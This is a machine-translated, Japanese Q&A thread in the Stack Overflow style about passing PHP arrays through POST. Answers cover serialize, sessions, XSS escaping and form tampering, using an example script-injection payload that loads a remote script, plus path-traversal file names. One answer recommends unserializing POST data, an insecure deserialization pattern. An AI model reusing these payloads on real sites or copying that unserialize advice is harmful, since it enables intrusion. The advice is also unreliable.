を介して配列を送信する最も安全な方法はどれPOST
ですか?
foreach ($id as $array)
{
<input type="hidden" name="prova[]" value="<?php echo $array; ?>"/>
}
<input type="submit" name="submit"/>
またはimplode()
、単一の変数を作成するために使用し、変数を渡してexplode()
から、値を新しい配列に戻すために使用しますか?
編集セキュリティについてお尋ねの場合は、下部にある私の補遺を参照してください編集
PHP には、この特定の目的のために提供されたシリアル化関数があります。配列を渡すと、その文字列表現が得られます。配列に戻したい場合は、unserialize関数を使用するだけです。
$data = array('one'=>1, 'two'=>2, 'three'=>33);
$dataString = serialize($data);
//send elsewhere
$data = unserialize($dataString);
これは、怠惰なコーダーがデータをデータベースに保存するためによく使用されます。推奨されませんが、クイック/ダーティ ソリューションとして機能します。
補遺
「安全に」ではなく、確実にデータを送信する方法を探しているという印象を受けました。どのようにデータを渡しても、ユーザーのシステムを経由する場合は、まったく信頼できません。一般に、サーバーのどこかに保存し、資格情報 (Cookie、セッション、パスワードなど) を使用して検索する必要があります。
セッションに入れることができます:
session_start();
$_SESSION['array_name'] = $array_name;
または、フォーム経由で送信する場合は、シリアル化できます。
<input type='hidden' name='input_name' value="<?php echo htmlentities(serialize($array_name)); ?>" />
$passed_array = unserialize($_POST['input_name']);
シリアル化された配列を操作するには、フォームの送信方法として POST を使用する必要があることに注意してください。GET には約 1024 文字のサイズ制限があるためです。
可能な限りセッションを使用します。
考慮すべき点が 2 つあります。ユーザーがフォームを変更できることと、クロス サイト スクリプティング (XSS) から保護する必要があることです。
XSS
XSS は、ユーザーが入力に HTML を入力するときです。たとえば、ユーザーがこの値を送信した場合はどうなるでしょうか?:
" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="
これは次のようにフォームに書き込まれます。
<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>
これを防ぐ最善の方法は、 を使用htmlspecialchars()
して入力を保護することです。などの文字をエンコード<
し<
ます。例えば:
<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>
XSS の詳細については、https ://www.owasp.org/index.php/XSS を参照してください。
フォームの変更
私があなたのサイトにいた場合、Chrome の開発者ツールまたは Firebug を使用してページの HTML を変更できます。フォームの動作によっては、悪意を持って使用される可能性があります。
たとえば、配列に余分な値を追加したり、配列に属さない値を追加したりできます。これがファイル システム マネージャーの場合、存在しないファイルや機密情報を含むファイルを追加できます (例:またはにmyfile.jpg
置き換えます)。../index.php
../db-connect.php
要するに、後で入力をチェックして意味があることを確認し、フォームで安全な入力のみを使用する必要があります。ファイル ID (数値) は安全です。数値が存在するかどうかを確認し、データベースからファイル名を抽出できるためです (これは、データベースに検証済みの入力が含まれていることを前提としています)。上記の理由により、ファイル名は安全ではありません。ファイル名を再検証する必要があります。そうしないと、ファイル名を何かに変更できます。
すでにサーバー(PHP)側にあるのに、なぜ投稿で送信するのですか?
配列をs$_SESSION
変数に保存して、フォームが送信されたときに使用できるようにしないと、クライアントがソースを編集して変数を変更できないため、より「安全」になる可能性があります。
それはすべてあなたが本当にやりたいことに依存します。